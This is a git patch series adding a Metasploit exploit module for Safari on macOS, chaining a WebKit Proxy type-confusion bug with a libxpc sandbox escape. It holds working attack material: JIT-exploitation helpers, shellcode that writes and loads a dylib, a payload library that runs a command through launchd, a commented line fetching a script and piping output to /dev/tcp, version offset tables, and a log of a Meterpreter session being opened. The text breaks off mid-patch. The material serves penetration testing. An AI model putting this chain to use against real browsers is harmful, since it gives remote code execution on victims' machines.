From 2c30459a1b40ff06c8345027076465789dfb0977 Mon Sep 17 00:00:00 2001 From: Tim W Date: Thu, 15 Nov 2018 08:43:52 +0800 Subject: [PATCH 1/5] add CVE-2018-4233 and CVE-2018-4404 --- data/exploits/CVE-2018-4233/int64.js | 182 +++++++ data/exploits/CVE-2018-4233/utils.js | 78 +++ .../source/exploits/CVE-2018-4404/Makefile | 13 + .../exploits/CVE-2018-4404/gen_offsets.rb | 27 + .../exploits/CVE-2018-4404/stage1/Makefile | 7 + .../exploits/CVE-2018-4404/stage1/stage1.asm | 70 +++ .../exploits/CVE-2018-4404/stage2/Makefile | 8 + .../exploits/CVE-2018-4404/stage2/payload.c | 42 ++ .../safari_proxy_object_type_confusion.rb | 487 ++++++++++++++++++ 9 files changed, 914 insertions(+) create mode 100644 data/exploits/CVE-2018-4233/int64.js create mode 100644 data/exploits/CVE-2018-4233/utils.js create mode 100644 external/source/exploits/CVE-2018-4404/Makefile create mode 100755 external/source/exploits/CVE-2018-4404/gen_offsets.rb create mode 100644 external/source/exploits/CVE-2018-4404/stage1/Makefile create mode 100644 external/source/exploits/CVE-2018-4404/stage1/stage1.asm create mode 100644 external/source/exploits/CVE-2018-4404/stage2/Makefile create mode 100644 external/source/exploits/CVE-2018-4404/stage2/payload.c create mode 100644 modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb diff --git a/data/exploits/CVE-2018-4233/int64.js b/data/exploits/CVE-2018-4233/int64.js new file mode 100644 index 0000000000..ca225cccc8 --- /dev/null +++ b/data/exploits/CVE-2018-4233/int64.js @@ -0,0 +1,182 @@ +// +// Tiny module that provides big (64bit) integers. +// +// Copyright (c) 2016 Samuel Groß +// +// Requires utils.js +// + +// Datatype to represent 64-bit integers. +// +// Internally, the integer is stored as a Uint8Array in little endian byte order. +function Int64(v) { + // The underlying byte array. + var bytes = new Uint8Array(8); + + switch (typeof v) { + case 'number': + v = '0x' + Math.floor(v).toString(16); + case 'string': + if (v.startsWith('0x')) + v = v.substr(2); + if (v.length % 2 == 1) + v = '0' + v; + + var bigEndian = unhexlify(v, 8); + bytes.set(Array.from(bigEndian).reverse()); + break; + case 'object': + if (v instanceof Int64) { + bytes.set(v.bytes()); + } else { + if (v.length != 8) + throw TypeError("Array must have excactly 8 elements."); + bytes.set(v); + } + break; + case 'undefined': + break; + default: + throw TypeError("Int64 constructor requires an argument."); + } + + // Return a double whith the same underlying bit representation. + this.asDouble = function() { + // Check for NaN + if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) + throw new RangeError("Integer can not be represented by a double"); + + return Struct.unpack(Struct.float64, bytes); + }; + + // Return a javascript value with the same underlying bit representation. + // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) + // due to double conversion constraints. + this.asJSValue = function() { + if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) + throw new RangeError("Integer can not be represented by a JSValue"); + + // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. + this.assignSub(this, 0x1000000000000); + var res = Struct.unpack(Struct.float64, bytes); + this.assignAdd(this, 0x1000000000000); + + return res; + }; + + // Return the underlying bytes of this number as array. + this.bytes = function() { + return Array.from(bytes); + }; + + // Return the byte at the given index. + this.byteAt = function(i) { + return bytes[i]; + }; + + // Return the value of this number as unsigned hex string. + this.toString = function() { + return '0x' + hexlify(Array.from(bytes).reverse()); + }; + + // Basic arithmetic. + // These functions assign the result of the computation to their 'this' object. + + // Decorator for Int64 instance operations. Takes care + // of converting arguments to Int64 instances if required. + function operation(f, nargs) { + return function() { + if (arguments.length != nargs) + throw Error("Not enough arguments for function " + f.name); + for (var i = 0; i < arguments.length; i++) + if (!(arguments[i] instanceof Int64)) + arguments[i] = new Int64(arguments[i]); + return f.apply(this, arguments); + }; + } + + // this = -n (two's complement) + this.assignNeg = operation(function neg(n) { + for (var i = 0; i < 8; i++) + bytes[i] = ~n.byteAt(i); + + return this.assignAdd(this, Int64.One); + }, 1); + + // this = a + b + this.assignAdd = operation(function add(a, b) { + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = a.byteAt(i) + b.byteAt(i) + carry; + carry = cur > 0xff | 0; + bytes[i] = cur; + } + return this; + }, 2); + + // this = a - b + this.assignSub = operation(function sub(a, b) { + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = a.byteAt(i) - b.byteAt(i) - carry; + carry = cur < 0 | 0; + bytes[i] = cur; + } + return this; + }, 2); + + // this = a ^ b + this.assignXor = operation(function sub(a, b) { + for (var i = 0; i < 8; i++) { + bytes[i] = a.byteAt(i) ^ b.byteAt(i); + } + return this; + }, 2); + + // this = a & b + this.assignAnd = operation(function sub(a, b) { + for (var i = 0; i < 8; i++) { + bytes[i] = a.byteAt(i) & b.byteAt(i); + } + return this; + }, 2) +} + +// Constructs a new Int64 instance with the same bit representation as the provided double. +Int64.fromDouble = function(d) { + var bytes = Struct.pack(Struct.float64, d); + return new Int64(bytes); +}; + +// Convenience functions. These allocate a new Int64 to hold the result. + +// Return -n (two's complement) +function Neg(n) { + return (new Int64()).assignNeg(n); +} + +// Return a + b +function Add(a, b) { + return (new Int64()).assignAdd(a, b); +} + +// Return a - b +function Sub(a, b) { + return (new Int64()).assignSub(a, b); +} + +// Return a ^ b +function Xor(a, b) { + return (new Int64()).assignXor(a, b); +} + +// Return a & b +function And(a, b) { + return (new Int64()).assignAnd(a, b); +} + +// Some commonly used numbers. +Int64.Zero = new Int64(0); +Int64.One = new Int64(1); + +// That's all the arithmetic we need for exploiting WebKit.. :) diff --git a/data/exploits/CVE-2018-4233/utils.js b/data/exploits/CVE-2018-4233/utils.js new file mode 100644 index 0000000000..e69029e35c --- /dev/null +++ b/data/exploits/CVE-2018-4233/utils.js @@ -0,0 +1,78 @@ +// +// Utility functions. +// +// Copyright (c) 2016 Samuel Groß +// + +// Return the hexadecimal representation of the given byte. +function hex(b) { + return ('0' + b.toString(16)).substr(-2); +} + +// Return the hexadecimal representation of the given byte array. +function hexlify(bytes) { + var res = []; + for (var i = 0; i < bytes.length; i++) + res.push(hex(bytes[i])); + + return res.join(''); +} + +// Return the binary data represented by the given hexdecimal string. +function unhexlify(hexstr) { + if (hexstr.length % 2 == 1) + throw new TypeError("Invalid hex string"); + + var bytes = new Uint8Array(hexstr.length / 2); + for (var i = 0; i < hexstr.length; i += 2) + bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); + + return bytes; +} + +function hexdump(data) { + if (typeof data.BYTES_PER_ELEMENT !== 'undefined') + data = Array.from(data); + + var lines = []; + for (var i = 0; i < data.length; i += 16) { + var chunk = data.slice(i, i+16); + var parts = chunk.map(hex); + if (parts.length > 8) + parts.splice(8, 0, ' '); + lines.push(parts.join(' ')); + } + + return lines.join('\n'); +} + +// Simplified version of the similarly named python module. +var Struct = (function() { + // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. + var buffer = new ArrayBuffer(8); + var byteView = new Uint8Array(buffer); + var uint32View = new Uint32Array(buffer); + var float64View = new Float64Array(buffer); + + return { + pack: function(type, value) { + var view = type; // See below + view[0] = value; + return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); + }, + + unpack: function(type, bytes) { + if (bytes.length !== type.BYTES_PER_ELEMENT) + throw Error("Invalid bytearray"); + + var view = type; // See below + byteView.set(bytes); + return view[0]; + }, + + // Available types. + int8: byteView, + int32: uint32View, + float64: float64View + }; +})(); diff --git a/external/source/exploits/CVE-2018-4404/Makefile b/external/source/exploits/CVE-2018-4404/Makefile new file mode 100644 index 0000000000..fc3b0a3428 --- /dev/null +++ b/external/source/exploits/CVE-2018-4404/Makefile @@ -0,0 +1,13 @@ + +all: + +$(MAKE) -C stage1 + +$(MAKE) -C stage2 + +install: + cp stage1/stage1.bin ../../../../data/exploits/CVE-2018-4233/stage1.bin + cp stage2/stage2.dylib ../../../../data/exploits/CVE-2018-4404/stage2.dylib + +clean: + rm -f stage1/stage1.bin + rm -f stage2/stage2.dylib + diff --git a/external/source/exploits/CVE-2018-4404/gen_offsets.rb b/external/source/exploits/CVE-2018-4404/gen_offsets.rb new file mode 100755 index 0000000000..79daac2480 --- /dev/null +++ b/external/source/exploits/CVE-2018-4404/gen_offsets.rb @@ -0,0 +1,27 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +#`brew install radare2` <-- older version :( +#`git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh` + +def grab_offset(lib_file, function) + offset_string = `r2 -2qQ -c 'aa; afl | grep #{function}' #{lib_file}` + offset_string[0..9] +end + +puts "const DYLD_STUB_LOADER_OFFSET = #{grab_offset("/usr/lib/system/libdyld.dylib", "dyld_stub_binder")};" +puts "const DLOPEN_OFFSET = #{grab_offset("/usr/lib/system/libdyld.dylib", "sym._dlopen")};" +puts "const CONFSTR_OFFSET = #{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._confstr")};" +puts "const STRLEN_OFFSET = #{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._strlen")};" + +strlen_disasm = `r2 -2qQ -c "iS | grep nl_symbol_ptr; s sym.imp.strlen; pd 1" /System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore` +#strlen_disasm = ''' +#12 0x00b67000 16 0x00b66000 16 -rw- 12.__DATA.__nl_symbol_ptr + #;-- imp.strlen: + #0x00ace162 ff25808d0900 jmp qword [0x00b66ee8] ; [0xb66ee8:8]=0xacf30e +#''' +got_offset = strlen_disasm.split(" ")[3].to_i(16) +strlen_got_entry = strlen_disasm.scan(/\[(\S+)\]/).first.first.to_i(16) +strlen_got_offset = (strlen_got_entry - got_offset).to_s(16) +puts "const STRLEN_GOT_OFFSET = 0x#{strlen_got_offset};" + diff --git a/external/source/exploits/CVE-2018-4404/stage1/Makefile b/external/source/exploits/CVE-2018-4404/stage1/Makefile new file mode 100644 index 0000000000..e88eb05a28 --- /dev/null +++ b/external/source/exploits/CVE-2018-4404/stage1/Makefile @@ -0,0 +1,7 @@ + +.PHONY: all +all: stage1.js + +stage1.js: stage1.asm + @nasm -o stage1.bin stage1.asm + diff --git a/external/source/exploits/CVE-2018-4404/stage1/stage1.asm b/external/source/exploits/CVE-2018-4404/stage1/stage1.asm new file mode 100644 index 0000000000..d4e777a297 --- /dev/null +++ b/external/source/exploits/CVE-2018-4404/stage1/stage1.asm @@ -0,0 +1,70 @@ +BITS 64 + +start: +; int 3 + +; Step 0: function prologue + sub rsp, 0x1008 ; ensure 16-byte alignment + +; Step 1: call confstr() and build the path to our stage 2 .dylib on the stack + mov rdx, 0x1000 + mov rsi, rsp + mov rdi, 65537 ; _CS_DARWIN_USER_TEMP_DIR + mov rax, 0x4141414141414141 ; will be replaced with &confstr + call rax ; confstr() + test rax, rax + jnz build_path + mov rax, 0xffff000000000001 ; return 1 to indicate failure in confstr + jmp exit + +build_path: + dec rax + mov rcx, rsp + add rcx, rax + mov dword [rcx], 0x79642e78 ; x.dy + mov dword [rcx+4], 0x62696c ; lib\x00 + +; Step 2: write dylib to filesystem + mov rax, 0x2000005 ; sys_open + mov rdi, rsp ; path + mov rdx, 0x1ed ; protections (0644) + mov rsi, 0x602 ; O_TRUNC | O_CREAT | O_RDWR + syscall + jnb write_file + mov rax, 0xffff000000000002 ; return 2 to indicate failure in open + jmp exit + +write_file: + mov rdi, rax + mov rsi, 0x4242424242424242 + mov r8, 0x4343434343434343 ; rdx is set to zero during the syscall... +write_loop: + mov rdx, r8 + mov rax, 0x2000004 ; sys_write + syscall + jnb write_succeeded + mov rax, 0xffff000000000003 ; return 3 to indicate failure in write + jmp exit +write_succeeded: + sub r8, rax + add rsi, rax + test r8, r8 + jnz write_loop + +; Step 3: open dylib with dlopen +dlopen: + xor rsi, rsi + mov rdi, rsp + mov rax, 0x4444444444444444 ; will be replaced with &dlopen + call rax + test rax, rax + jnz exit_success + mov rax, 0xffff000000000004 ; return 4 to indicate failure in dlopen + jmp exit + +; Step 4: function epilogue and return +exit_success: + mov rax, 0xffff000000000000 ; return 0 for success +exit: + add rsp, 0x1008 + ret diff --git a/external/source/exploits/CVE-2018-4404/stage2/Makefile b/external/source/exploits/CVE-2018-4404/stage2/Makefile new file mode 100644 index 0000000000..9ca0c378ba --- /dev/null +++ b/external/source/exploits/CVE-2018-4404/stage2/Makefile @@ -0,0 +1,8 @@ +CC = clang + +.PHONY: all +all: stage2.dylib + +stage2.dylib: payload.c + $(CC) -shared -o stage2.dylib payload.c + diff --git a/external/source/exploits/CVE-2018-4404/stage2/payload.c b/external/source/exploits/CVE-2018-4404/stage2/payload.c new file mode 100644 index 0000000000..871c301f1d --- /dev/null +++ b/external/source/exploits/CVE-2018-4404/stage2/payload.c @@ -0,0 +1,42 @@ +#include + +#include + +struct spawn_via_launchd_attr { + uint64_t spawn_flags; + const char *spawn_path; + const char *spawn_chdir; + const char * const * spawn_env; + const mode_t *spawn_umask; + mach_port_t *spawn_observer_port; + const cpu_type_t *spawn_binpref; + size_t spawn_binpref_cnt; + void * spawn_quarantine; + const char *spawn_seatbelt_profile; + const uint64_t *spawn_seatbelt_flags; +}; + +#define spawn_via_launchd(a, b, c) _spawn_via_launchd(a, b, c, 3) +pid_t _spawn_via_launchd(const char *label, const char * const *argv, const struct spawn_via_launchd_attr *spawn_attrs, int struct_version); + +const char payload_cmd_placeholder[1024] = "PAYLOAD_CMD_PLACEHOLDER"; + +__attribute__((constructor)) +void _injection() +{ + const char* argv[] = { + "/bin/bash", + "-c", + payload_cmd_placeholder, + /*"open /Applications/Calculator.app/Contents/MacOS/Calculator",*/ + /*"curl http://" HOST ":" HTTP_PORT "/pwn.sh | bash > /dev/tcp/" HOST "/" TCPLOG_PORT " 2>&1",*/ + 0, + }; + + mach_port_t mpo = MACH_PORT_NULL; + struct spawn_via_launchd_attr attrs; + memset(&attrs, 0, sizeof(attrs)); + attrs.spawn_observer_port = &mpo; + + spawn_via_launchd("net.saelo.hax", argv, &attrs); +} diff --git a/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb b/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb new file mode 100644 index 0000000000..5e82e7145a --- /dev/null +++ b/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb @@ -0,0 +1,487 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Safari Proxy Object Type Confusion', + 'Description' => %q{ + This module exploits a type confusion bug in the Javascript Proxy object in + WebKit. The DFG JIT does not take into account that, through the use of a Proxy, + it is possible to run arbitrary JS code during the execution of a CreateThis + operation. This makes it possible to change the structure of e.g. an argument + without causing a bailout, leading to a type confusion (CVE-2018-4233). + + The JIT region is then replaced with shellcode which loads the second stage. + The second stage exploits a logic error in libxpc, which uses command execution + via the launchd's "legacy_spawn" API (CVE-2018-4404). + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'saelo' ], + 'References' => [ + ['CVE', '2018-4233'], + ['CVE', '2018-4404'], + ['URL', 'https://github.com/saelo/cve-2018-4233'], + ['URL', 'https://github.com/saelo/pwn2own2018'], + ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'], + ], + 'Arch' => [ ARCH_PYTHON, ARCH_CMD ], + 'Platform' => 'osx', + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }, + 'Targets' => [ + [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], + [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], + ], + 'DisclosureDate' => 'Mar 15 2018')) + end + + def exploit_data(directory, file) + path = ::File.join Msf::Config.data_directory, 'exploits', directory, file + ::File.binread path + end + + def stage1_js + stage1 = exploit_data "CVE-2018-4233", "stage1.bin" + "var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);" + end + + def stage2_js + stage2 = exploit_data "CVE-2018-4404", "stage2.dylib" + payload_cmd = payload.raw + if target['Arch'] == ARCH_PYTHON + payload_cmd = "echo \"#{payload_cmd}\" | python" + end + placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER') + stage2[placeholder_index, payload_cmd.length] = payload_cmd + "var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);" + end + + def get_offsets(user_agent) + if user_agent =~ /Intel Mac OS X (.*?)\)/ + mac_osx_version = Gem::Version.new($1.gsub("_", ".")) + if mac_osx_version >= Gem::Version.new('10.13.4') + print_warning "macOS version #{mac_osx_version} is not vulnerable" + elsif mac_osx_version < Gem::Version.new('10.12') + print_warning "macOS version #{mac_osx_version} is not vulnerable" + elsif mac_osx_version == Gem::Version.new('10.12.6') + return ''' +const JSC_VTAB_OFFSET = 0xd8d8; +const DYLD_STUB_LOADER_OFFSET = 0x00001168; +const DLOPEN_OFFSET = 0x000027f7; +const CONFSTR_OFFSET = 0x00002c84; +const STRLEN_OFFSET = 0x00001b40; +const STRLEN_GOT_OFFSET = 0xdc0;''' + elsif mac_osx_version == Gem::Version.new('10.13') + return ''' +const JSC_VTAB_OFFSET = 0xe5f8; +const DYLD_STUB_LOADER_OFFSET = 0x12a8; +const STRLEN_GOT_OFFSET = 0xee8; +const STRLEN_OFFSET = 0x1440; +const CONFSTR_OFFSET = 0x24fc; +const DLOPEN_OFFSET = 0x2e60;''' + elsif mac_osx_version == Gem::Version.new('10.13.3') + return ''' +const JSC_VTAB_OFFSET = 0xe5e8; +const DYLD_STUB_LOADER_OFFSET = 0x1278; +const STRLEN_GOT_OFFSET = 0xee0; +const STRLEN_OFFSET = 0x1420; +const CONFSTR_OFFSET = 0x24dc; +const DLOPEN_OFFSET = 0x2e30;''' + else + print_warning "No offsets for version #{mac_osx_version}" + end + else + print_warning "Unexpected User-Agent" + end + return false + end + + def on_request_uri(cli, request) + user_agent = request['User-Agent'] + print_status("Request from #{user_agent}") + offsets = get_offsets(user_agent) + unless offsets + send_not_found(cli) + return + end + + utils = exploit_data "CVE-2018-4233", "utils.js" + int64 = exploit_data "CVE-2018-4233", "int64.js" + html = %Q^ + + + + + + ^ + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end From 99ae2145757524b20fbd35e14f95544ee204cfd8 Mon Sep 17 00:00:00 2001 From: Tim W Date: Thu, 15 Nov 2018 08:46:24 +0800 Subject: [PATCH 2/5] add binaries --- data/exploits/CVE-2018-4233/stage1.bin | Bin 0 -> 219 bytes data/exploits/CVE-2018-4404/stage2.dylib | Bin 0 -> 8660 bytes 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 data/exploits/CVE-2018-4233/stage1.bin create mode 100755 data/exploits/CVE-2018-4404/stage2.dylib diff --git a/data/exploits/CVE-2018-4233/stage1.bin b/data/exploits/CVE-2018-4233/stage1.bin new file mode 100644 index 0000000000000000000000000000000000000000..ed210fcc4423d65946731299036263720206f779 GIT binary patch literal 219 zcmeZhe8VBYz_5z}NO*KU+t0|r$l$TV5eoia@Mt|y%I~p*kpTq$|9?3jNO}A};nDff zgYn>T#tOZZ%HxhKIhjceJ6IVQm^?b4?|KVVypM^Efq|d3n8#xW6IAQ#bdS#C9{Zf2 zz;lN)6!>%=+Q9H~uR|6g-? Q>;N-?Y>&nxATJ#T0Ff$78vpRrpdf-!M2z2WclNT`c=b_{8JPY3 znVE0q_s#6TnXiBU`Omu;i*09&-HCi3^4U8WYp_vhj6IAzv5heya+!sk=jy-s)p|Z@ z1Cs&9!=yqX9Q~9-nxCS0bNBfEKV&)CJEZQ39c(ph3Sm3-yuIm);$`pki+0HxWXCpZ zGd3jgC}v7No-lN?s@FWbKi)-&m+)#cMmA{arGfDkDwf>~I6A(z#0!EXyD#1zvZo1A zu$@}TT9*C+yb-@(w=8cthQ^>x9-Gtrbc_Sf;R7%K3^Zs!nZ7ya0}tDYXw0&1cvaV!6_rg~9QS zN}wSLKz6u2;RR!(Dngjr?Z!7I@x~+`*j5C&mu?k6kT9bsi2AlfK?L`?R z-ClFZ;Y4*Qhvzd~PWlwuM>!=w-B;Al#ydBD`EBFScjw=lIC$-|Pkww1K97Q7Jg|_T z3~WeB!^kvFYU}m?+&7>*#wP1_Z4xn4o?o#Yy_|Ty#{y&fP@ix=kNZ44A#I9NCB=YZ zKr!%NWZ)=wzvriaTEp0Q>(D_wYI&yAldL=WxmO8fpN5;LJZSHv! z)n=Q!v+l85us(tXbsg%5zIq+%2flg(>U+N0`6_b-5NyW1z}+tl^pSNpxcliMw6uGX zyJr?W-&MDjgTmbghv?*K9L)xmaW`|8H@&93>9ym{GgPVRwdhQHRUho&iOrk4c(Z9atFsR&0c>cr9|CL8yhM8+BiPXh_9gBon>JeIe#PUkQM|e5aUf!6 zBlcp%rv2J*d+LuicCiH=oZ}{Gk0tDn{u# literal 0 HcmV?d00001 From bee3c3d4d3b336ea05796ef470423cf0fe0aff9b Mon Sep 17 00:00:00 2001 From: Tim W Date: Tue, 20 Nov 2018 16:48:58 +0800 Subject: [PATCH 3/5] add documentation --- .../safari_proxy_object_type_confusion.md | 81 +++++++++++++++++++ .../safari_proxy_object_type_confusion.rb | 2 +- 2 files changed, 82 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/exploit/osx/browser/safari_proxy_object_type_confusion.md diff --git a/documentation/modules/exploit/osx/browser/safari_proxy_object_type_confusion.md b/documentation/modules/exploit/osx/browser/safari_proxy_object_type_confusion.md new file mode 100644 index 0000000000..4b1f970e0a --- /dev/null +++ b/documentation/modules/exploit/osx/browser/safari_proxy_object_type_confusion.md @@ -0,0 +1,81 @@ +## Vulnerable Application + +This module exploits a type confusion bug in the Javascript Proxy object in +WebKit. Safari on OSX 10.13.3 and lower are affected. The JS Proxy object +was introduced in Safari 10, so OSX 10.11 is not affected by the type +confusion, however the sandbox escape may still work. + +The DFG JIT does not take into account that, through the use of a Proxy, +it is possible to run arbitrary JS code during the execution of a CreateThis +operation. This makes it possible to change the structure of e.g. an argument +without causing a bailout, leading to a type confusion (CVE-2018-4233). + +The JIT region is then replaced with shellcode which loads the second stage. +The second stage exploits a logic error in libxpc, which uses command execution +via the launchd's "spawn_via_launchd" API (CVE-2018-4404). + +## Verification Steps + +1. Start `msfconsole` +1. `use exploit/osx/browser/safari_proxy_object_type_confusion` +1. `set LHOST ` +1. `exploit` +1. Visit the URL on a vulnerable version of Safari + +## Scenarios + +### High Sierra 10.13 + +``` +msf5 > use exploit/osx/browser/safari_proxy_object_type_confusion +msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > set LHOST 192.168.0.2 +LHOST => 192.168.0.2 +msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > exploit +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > +[*] Started reverse TCP handler on 192.168.0.2:4444 +[*] Using URL: http://0.0.0.0:8080/0PiuTy +[*] Local IP: http://192.168.0.2:8080/0PiuTy +[*] Server started. + +msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > +[*] 192.168.0.2 safari_proxy_object_type_confusion - Request from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38 +[*] Sending stage (53508 bytes) to 192.168.0.2 +[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.2:33200) at 2018-11-20 16:28:59 +0800 + +msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > sessions 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : Users-iMac.local +OS : Darwin 17.0.0 Darwin Kernel Version 17.0.0: Thu Aug 24 21:48:19 PDT 2017; root:xnu-4570.1.46~2/RELEASE_X86_64 +Architecture : x64 +Meterpreter : python/osx +``` + +### Adding offsets for new versions + +Although all macOS versions from 10.12 -> 10.13.3 are vulnerable, some versions +are not supported. It's easy to add support for a vulnerable version by running +the script `external/source/exploits/CVE-2018-4404/gen_offsets.rb` on the +target version. + +You will need to install the latest radare2 for the script to function. + +``` +$ git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh && cd ..` +$ ruby external/source/exploits/CVE-2018-4404/gen_offsets.rb +const DYLD_STUB_LOADER_OFFSET = 0x000012a8; +const DLOPEN_OFFSET = 0x00002e60; +const CONFSTR_OFFSET = 0x000024fc; +const STRLEN_OFFSET = 0x00001440; +const STRLEN_GOT_OFFSET = 0xee8; +``` + +You can then add the offsets to the module: +`modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb` + +Please don't forget to contribute the offsets back to the framework if you have +successfully tested them. + diff --git a/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb b/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb index 5e82e7145a..4d735eac7f 100644 --- a/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb +++ b/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb @@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote The JIT region is then replaced with shellcode which loads the second stage. The second stage exploits a logic error in libxpc, which uses command execution - via the launchd's "legacy_spawn" API (CVE-2018-4404). + via the launchd's "spawn_via_launchd" API (CVE-2018-4404). }, 'License' => MSF_LICENSE, 'Author' => [ 'saelo' ], From 57bad6b2137669d24f43d63969803532b5e7bb69 Mon Sep 17 00:00:00 2001 From: Tim W Date: Tue, 20 Nov 2018 17:51:49 +0800 Subject: [PATCH 4/5] move offsets to hash fix --- .../safari_proxy_object_type_confusion.md | 13 ++-- .../exploits/CVE-2018-4404/gen_offsets.rb | 13 ++-- .../safari_proxy_object_type_confusion.rb | 66 ++++++++++++------- 3 files changed, 57 insertions(+), 35 deletions(-) diff --git a/documentation/modules/exploit/osx/browser/safari_proxy_object_type_confusion.md b/documentation/modules/exploit/osx/browser/safari_proxy_object_type_confusion.md index 4b1f970e0a..286f043d8f 100644 --- a/documentation/modules/exploit/osx/browser/safari_proxy_object_type_confusion.md +++ b/documentation/modules/exploit/osx/browser/safari_proxy_object_type_confusion.md @@ -66,13 +66,16 @@ You will need to install the latest radare2 for the script to function. ``` $ git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh && cd ..` $ ruby external/source/exploits/CVE-2018-4404/gen_offsets.rb -const DYLD_STUB_LOADER_OFFSET = 0x000012a8; -const DLOPEN_OFFSET = 0x00002e60; -const CONFSTR_OFFSET = 0x000024fc; -const STRLEN_OFFSET = 0x00001440; -const STRLEN_GOT_OFFSET = 0xee8; + '10.13' => { + :dyld_stub_loader => '0x000012a8', + :dlopen => '0x00002e60', + :confstr => '0x000024fc', + :strlen => '0x00001440', + :strlen_got => '0xee8', + }, ``` +The offset `:jsc_vtab` cannot be generated but you can guess it is either 0xe000 or 0xd000. You can then add the offsets to the module: `modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb` diff --git a/external/source/exploits/CVE-2018-4404/gen_offsets.rb b/external/source/exploits/CVE-2018-4404/gen_offsets.rb index 79daac2480..1d0787cb39 100755 --- a/external/source/exploits/CVE-2018-4404/gen_offsets.rb +++ b/external/source/exploits/CVE-2018-4404/gen_offsets.rb @@ -9,10 +9,12 @@ def grab_offset(lib_file, function) offset_string[0..9] end -puts "const DYLD_STUB_LOADER_OFFSET = #{grab_offset("/usr/lib/system/libdyld.dylib", "dyld_stub_binder")};" -puts "const DLOPEN_OFFSET = #{grab_offset("/usr/lib/system/libdyld.dylib", "sym._dlopen")};" -puts "const CONFSTR_OFFSET = #{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._confstr")};" -puts "const STRLEN_OFFSET = #{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._strlen")};" +version = `sw_vers -productVersion`.strip +puts " '#{version}' => {" +puts " :dyld_stub_loader => '#{grab_offset("/usr/lib/system/libdyld.dylib", "dyld_stub_binder")}'," +puts " :dlopen => '#{grab_offset("/usr/lib/system/libdyld.dylib", "sym._dlopen")}'," +puts " :confstr => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._confstr")}'," +puts " :strlen => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._strlen")}'," strlen_disasm = `r2 -2qQ -c "iS | grep nl_symbol_ptr; s sym.imp.strlen; pd 1" /System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore` #strlen_disasm = ''' @@ -23,5 +25,6 @@ strlen_disasm = `r2 -2qQ -c "iS | grep nl_symbol_ptr; s sym.imp.strlen; pd 1" /S got_offset = strlen_disasm.split(" ")[3].to_i(16) strlen_got_entry = strlen_disasm.scan(/\[(\S+)\]/).first.first.to_i(16) strlen_got_offset = (strlen_got_entry - got_offset).to_s(16) -puts "const STRLEN_GOT_OFFSET = 0x#{strlen_got_offset};" +puts " :strlen_got => '0x#{strlen_got_offset}'," +puts " }," diff --git a/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb b/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb index 4d735eac7f..168c50f738 100644 --- a/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb +++ b/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb @@ -43,6 +43,35 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Mar 15 2018')) end + def offset_table + { + '10.12.6' => { + :jsc_vtab => '0x0000d8d8', + :dyld_stub_loader => '0x00001168', + :dlopen => '0x000027f7', + :confstr => '0x00002c84', + :strlen => '0x00001b40', + :strlen_got => '0xdc0', + }, + '10.13' => { + :jsc_vtab => '0x0000e5f8', + :dyld_stub_loader => '0x000012a8', + :dlopen => '0x00002e60', + 